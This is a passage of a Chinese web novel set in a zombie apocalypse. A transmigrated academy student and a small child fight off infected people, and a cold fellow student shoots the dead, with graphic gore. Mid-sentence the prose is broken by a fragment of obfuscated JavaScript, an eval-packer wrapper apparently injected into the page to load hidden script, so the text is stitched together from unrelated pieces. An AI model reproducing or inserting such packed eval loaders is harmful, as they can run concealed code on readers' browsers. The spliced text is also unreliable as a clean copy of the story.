老吴哎哟直叫,将手电筒夹到腋窝里,好不容易抓住诸珠的手,还没来得及有下一步动作,突然听见砰的一声巨响。 像是有什么东西撞到了外面的防盗门上。 所有人浑身一颤。 “怎么回事?”东子惊惶开口。 可话音刚落,又是一声巨响。 随之而来的是密密麻麻地砸门声,仿佛有无数双手正在门外疯狂拍打。 老吴脸色骤变,抓着诸珠的手不自觉地松开,他从牙缝里挤出一串声音:“是感染者……那些感染者来了……我们死定了……” 诸珠趁机跑到东子面前,继续挥拳往东子脸上砸。 “打死你!我要打死你!” 东子猝不及防,被诸珠一记重拳砸在左眼上,顿时捂住眼睛哀嚎。 程书阑一个箭步冲上前,抄起诸珠就往客厅狂奔。 身后传来东子歇斯底里的咆哮:“老吴,抓住他俩,把那个姓陈的推出去吸引感染者!” 老吴已被门外的声响吓得有些神志不清:“那、那个小的呢?” “小的拿去卖了!”东子气急败坏地说,“虽然是个beta,但是长得细皮嫩肉,也能卖个好价钱。” 程书阑抱着诸珠跑到客厅,诸珠的手电筒早不知道落到哪里去了,只剩下他手里的一个手电筒。 借着手电筒光,他瞥见另一扇紧闭的房间门,于是抱着诸珠往房间门的方向冲。 然而房间门居然被锁死了,程书阑使劲拧了好几下,都没把门锁拧开。 “爸爸!”趴在他肩膀上的诸珠大喊一声。 程书阑慌忙回头。 只见东子和老吴已经从那个房间里追出来,两人一左一右,眼看就要逼近。 就在这时,那声巨响再次传来。 下一秒,就听轰的一下。 有什么东西倒了。 仿佛整个房子都跟着抖了一下,天花板簌簌落下灰尘。 程书阑被震得头皮发麻,只觉全身血液都在瞬间凝固,他条件反射地将手电筒光扫向大门—— 那扇防盗门本来就没有多么牢固,在外面那些感染者的疯狂撞击下,竟然支撑不住,被硬生生地撞开了。 直到此刻,程书阑才亲眼看到了这些传闻中的感染者。 看上去和他以前在电影中看过的丧尸有点像,但外表没有丧尸那么血腥且恶心。 那些感染者露出来的皮肤呈现出一种死白的状态,上面布满灰褐色的尸斑,他们的眼珠上也笼了一层灰白,暴突的青筋如蛛网般爬满整张扭曲的面孔。 七八个感染者在惯性的作用下叠罗汉似的摔进门内,似乎嗅到了里面活人的气息,他们抽搐着肢体,张牙舞爪地往前爬。 “是、是感染者!”老吴一口气没提上来,双腿一软,直接跪到地上,“感、感染者来了!” 东子勉强保持冷静,踹了一脚老吴的屁股:“把姓陈的推过去!” 老吴这才反应过来,忙不迭地朝程书阑和诸珠的方向爬。 然而那些感染者的速度比老吴更快,甚至没等老吴有所防备,就一个接一个地扑到了老吴身上。 只是眨眼间,老吴已被那些感染者淹没。 东子跑在前面,扭头看去,在手电筒的余光里,老吴那张被撕咬得面目全非的脸赫然映入眼帘,半边脸颊的皮肉不翼而飞。 老吴大张着嘴,发出无比凄厉的叫声。 “谢东,救、救救我啊!” 东子的喉咙里发出咕噜怪声,险些当场吐出来。 他以前见过感染者,可都是远远瞧上一眼,什么时候离得这么近过? 血腥味扑面而来,熏得东子胃袋痉挛。 他眼睁睁看着其中一个感染者张口咬住老吴的一只耳朵,接着居然活生生地将那只耳朵扯了下来。 鲜血喷溅而出,在地上汇成一滩,很快漫到东子脚边。 他的双腿开始不受控地发抖,手臂上的汗毛根根竖起,冷汗浸透了穿在防护服里面的衣服。 片刻,一声不似人声的尖叫从他喉咙里迸发而出:“啊——” 东子转身就要逃窜。 可惜已有三四个感染者从老吴身上爬起来,朝他猛扑过来,他拼命闪躲,却被防护服严重拖慢动作。 还没跑出几步,就被一个感染者扑倒在地。 “不要!”东子的惨叫盖过了老吴的动静,他奋力蹬腿,绝望又愤怒地叫喊,“滚啊,都给老子滚开!” 程书阑关掉手电筒,他把诸珠放到地上,趁感染者们的注意力还在东子身上,拉起诸珠贴着墙壁往大门的方向绕。 诸珠小小的身体抖若筛糠,冰凉的手指扣进程书阑的掌心,另一只手紧紧捂住自己嘴巴,生怕泄露一点声音。 客厅里厚重的窗帘拉得严实,光线昏暗,只有老吴和东子掉在地上的两个手电筒可以照明。 原本光束没在程书阑和诸珠身上,在他们即将摸到门边的刹那,一道刺目的光束扫了过来。 “姓陈的,你敢走!”东子嘶吼完,不知道从哪儿来的力气,一拳砸开了压在自己身上的感染者,他吃力地从地上撑起来,那张血肉模糊的脸看上去极其吓人。 程书阑顿时有种不好的预感,后背一凉,本能地将诸珠往前推。 “快跑!” 诸珠终于憋不住哭出声来,像树袋熊一样反身抱住他的手:“爸爸,我和你一起。” “我让你先走!”程书阑急得额头上直冒冷汗,一把抽出自己的手,又将诸珠往前推,“你不想活了吗?连我的话都不听了!” 诸珠被推得一个趔趄,稳住脚步后,又跟牛皮糖似的贴上来。 “爸爸、爸爸……”诸珠仰头哭喊,眼泪直流,“我只有爸爸了,爸爸死了,我也不活啦……” 程书阑原想让诸珠先找个地方躲起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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绝望中,他猛然想起什么,大声喊道:“诸珠,用你的精神力攻击他们!” 诸珠害怕极了,扯着嗓子哭嚎:“爸爸,精神力是什么?” “你想想上次怎么做的!” “我不知道……”诸珠哭得上气不接下气,“爸爸,我害怕呜呜呜……” 程书阑将匕首刺入一个感染者的胸膛,来不及拔出,转身用身体撞开从另一边扑过来的感染者。 感染者越来越多,几乎将他淹没。 他尽量护住自己的脸,拼命用身体挡住诸珠,同时喊道:“尖叫!” 话音未落,诸珠的尖叫声蓦地响起。 “啊——” “大声一点!” “啊——” “像上次那样!” “啊啊啊——” 尖叫声以极快的速度在空气中荡漾开来。 熟悉的感觉袭来。 这一刻,如同上次那般,仿佛有一股能量在偌大的客厅中炸开。 已经压到程书阑身上的感染者们竟然同时一顿,随即像是被一双无形的手抽去骨头,也像是失去了操纵线的木偶一样,骤然瘫倒。 一切恢复寂静。 除了诸珠的尖叫还在持续。 这是…… 成功了? 程书阑愣了半天,不由得狂喜,他连忙推开倒在自己身上的感染者,刚爬起来,就冷不丁地在余光中瞥见一道身影。 那道身影近在咫尺,从距离上看,似乎一直站在感染者们后面。 程书阑吓了一跳,立即捡起手电筒扫过去。 下一秒,他看到了一张熟悉的脸—— 是那天在光明苑里遇到的那个人,手电筒光清楚地照出了那个人漂亮的五官以及左边脸颊中间的那颗黑痣。 黑痣的位置和诸珠一模一样。 此刻,那个人正神情淡漠地注视着程书阑。 19.校友 “啊——” 诸珠还在尖叫。 程书阑一把捂住诸珠的嘴巴。 尖叫声戛然而止。 空气彻底恢复寂静,似乎落针可闻。 程书阑扫了一圈倒地的感染者们,又看了一眼站在感染者们后面的那个人,顿时明白过来什么。 他不知道那个人有何目的,所以动也不敢动一下。 不过那个人的视线并未在他身上停留太久,很快,便往下挪,落到了被他捂着嘴巴的诸珠身上。 诸珠仰着苍白的脸,一双因极度恐惧而布满水雾的眼睛直勾勾地望着那个人。 可能是看程书阑没有说话,诸珠也僵着小小的身体,卖力装好一个木头人。 又过了好一会儿,那个人终于有了动静,慢慢往后退了一步。 程书阑立即抓起诸珠的手,还以为那个人要对他们做什么,结果那个人只是原地蹲下。 他紧盯着那个人的动作,眼睁睁看着对方利落地从腰间取出通讯器,指尖在上面快速敲击几下后,一道幽蓝的光幕倏地展开,在昏暗的环境中投下一片冷光。 那个人俯身,掀开脚边一个脸朝下的感染者,将光幕对准那张灰白的面孔。 光幕自上而下,如水流般流动。 不过两三秒,发出了短促且轻微的嘀声。 那个人冷眼瞥了一下通讯器界面上跳出的信息,接着扫描下一个感染者。 程书阑趁机捡起之前砸出去的背包,又迅速拔回刺入感染者胸膛的匕首。 他早已疲惫不堪,呼吸粗重,双腿像是灌满了铅,几乎支撑不住身体的重量。 他实在抱不起诸珠,只能让诸珠跟在自己身后。 可诸珠的注意力一直在那个人身上,都往前走了好几步,还忍不住频频回头望向那个人。 程书阑挡在诸珠前面,谨慎地隔着一定距离看向倒在血泊中的老吴。 老吴身上还穿着任务中心发的防护服,但防护服已被那些感染者咬得稀烂,鲜血从衣服里渗出来,黏黏糊糊地淌在地板上,仍在缓慢地向外蔓延。 老吴死状可怖,脸上没有一处好的地方,皮肉以不自然的角度外翻着。 才看一眼,程书阑就感觉到胃里一阵抽搐。 赶在吐出来前,他连忙把手电筒光挪开了。 光束落到东子身上,东子以匍匐的姿势趴在地上,一动不动,像是和老吴一样没了声息。 程书阑走过去,正要细看,身后突然响起一阵脚步声。 那个人扫描完所有感染者,大步流星地走过来,没等程书阑有所反应,蓦地掏出一把银色的微型手枪,直接对准东子的脑袋。 与此同时,趴在地上的东子竟然动了一下,似有所感地扭过头,对上那个人手里黑洞洞的枪口后,猛地打了一个激灵。 东子立马要爬起来。 “不要啊,我装的……” 话没说完,只听砰的一声。 子弹穿过东子的脑袋。 那颗脑袋犹如被锤子砸中的西瓜,额头上瞬间炸开了一个碗口大的血洞,鲜血喷涌而出。 东子身体一软,豁然倒地,那两只眼睛还没闭上,跟铜铃似的死死瞪着前方。 这下是真的死透了。 程书阑:“……” 他目瞪口呆,愣了好半天,在浓郁的血腥味冲击下,没忍住偏头发出一声剧烈的干呕。 “呕——” 谁知这一呕就停不下来,他胃里翻江倒海,像有一根棍子在死命搅动。 还好他中午没吃东西,此刻吐不出什么,只有酸水不停地顺着喉咙往上冒。 程书阑弯腰撑在墙壁上,呕得天昏地暗,恍惚中又听见一声枪响。 回头看去。 只见那个人站在老吴的尸体旁,正好收起手枪。 撞上他的视线后,那个人居然开口说了一句:“等人变为感染者再解决是作弊行为。” 那个人的声音和表情一样冷淡,但意外的好听。 然而程书阑的脑海里一片空白。 什么作弊行为? 若在之前,他还能回想一下原书的剧情和原主的记忆,可这会儿紧绷了许久的神经骤然放松,他的大脑变成一个生锈的机器,运转不了一点。 那个人似乎在等待他的回答,看他一直没有反应,突然迈步走了过来。 诸珠见状,连忙上前抱住程书阑的腿。 程书阑刚才着实被那个人的两枪吓到,又以为那个人要做什么,搂着诸珠下意识地往旁躲了躲。 那个人和程书阑擦身而过,径直走到落地窗前,一把拉开紧闭的窗帘。 有光线倾泻而下。 但窗外是灰蒙蒙的天空,还有几栋相隔不远的高楼遮挡,因此客厅里的能见度依然很低。 好的是能看清楚客厅里的其他布置了。 程书阑刚关上手电筒,就在余光中瞥见那个人从窗前走了回来,然后在他面前停下。 他抬眼和那个人对视。 那个人看着高挑,实际上等靠近了,程书阑才发现对方比自己矮了一截,他的视线需要下移才能看到对方的眼睛。 那双眼睛形状漂亮,像桃花眼,漆黑的眼珠在下垂的长睫间若隐若现。 不知道是不是那个人始终没什么表情的缘故,眼神里也有种不近人情的冷漠。 在对方打量过来的同时,程书阑也在不动声色地打量对方。 他应该没有猜错。 对方就是一个alpha。 程书阑的视线继续下移,落到了那个人穿着的衣服上,那明显是一套秋冬款的制服,以黑色为主色,有白色花纹点缀,有点像他以前在电影中看过的作战服,只是款式更加日常,即便走在街上也不会太引人注意。 当然这不是重点。 重点是—— 程书阑看到了那个人衣服上左边胸口处的标志。 很熟悉的标志。 那是厄瑞涅国主城军事学院的标志,左边为盾,右边是剑,剑在盾上,盾抵着剑。 原主就是主城军事学院的大一新生,记忆中经常出现这个标志。 他不由得一愣,惊讶开口:“你是军事学院的学生?” 那个人自然注意到了程书阑的视线,却没有回答这个问题,而是低头看了一眼紧紧抱着程书阑一条腿的诸珠,问道:“怎么和当地人组队了?” 程书阑没有吭声。 其实他没有向那个人透露自己也是军事学院学生的意思,可显然他的身份瞒不过那个人。 那个人很聪明。 同时,那个人也像一堵 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老吴和东子身上的防护服都被感染者们咬破了,估计拿回去也没什么用。 楼下燕子那里还有一个背包。 可他不知道燕子的具体位置,也不好麻烦那个人一起去找燕子,只能算了。 最后,程书阑身后背着一个背包,左手挎着两个背包,右手牵着紧贴他的诸珠,紧跟在那个人身后。 和老吴他们不一样,那个人既没穿防护服也没带什么东西,像是闲得无聊两手空空地散步过来…… 不对。 也不是两手空空。 那个人手里拿了一个手电筒,正放松地到处晃着。 程书阑突然觉得那个手电筒有点眼熟,定睛一看—— 那不就是任务中心发的手电筒吗? “……”他沉默片刻,才问,“同学,你的手电筒是哪儿来的?” 那个人看了一下自己拿着的手电筒,漫不经心地回答:“楼下有个女人死了,从她手里捡的。” 说着,那个人想起什么,偏了下头。 “那个女人也是和你们一起的吧?” 还真是两手空空地来…… 程书阑震惊了有一会儿,终于找回自己的声音:“对,我们是一起的。” 那个人哦了一声,往前走了几步,想起来问:“你要把她的东西也拿上吗?” 程书阑可没那个胆子和实力,忙摇头说:“算了……” “我可以陪你去。”那个人云淡风轻地说,“顺便检查一下还有没有漏掉的感染者。” 程书阑:“……” 同样是alpha,他怎么就没有这个实力? 唉…… 燕子的位置很好找,就在他们之前休息吃东西的那个房间里,背包完好无损,但燕子身上的防护服和老吴他们一样破破烂烂且沾满了血。 燕子死状凄惨,程书阑没敢多看一眼,倒是那个人闲庭信步到燕子的尸体旁,掏出手枪对准燕子的脑袋。 砰的一声。 燕子那颗被啃得血肉模糊的脑袋应声而碎,还有肉块飞溅到那个人的裤腿上。 那个人面无表情,收好手枪,头也不回地走出房间。 “走了。”那个人说。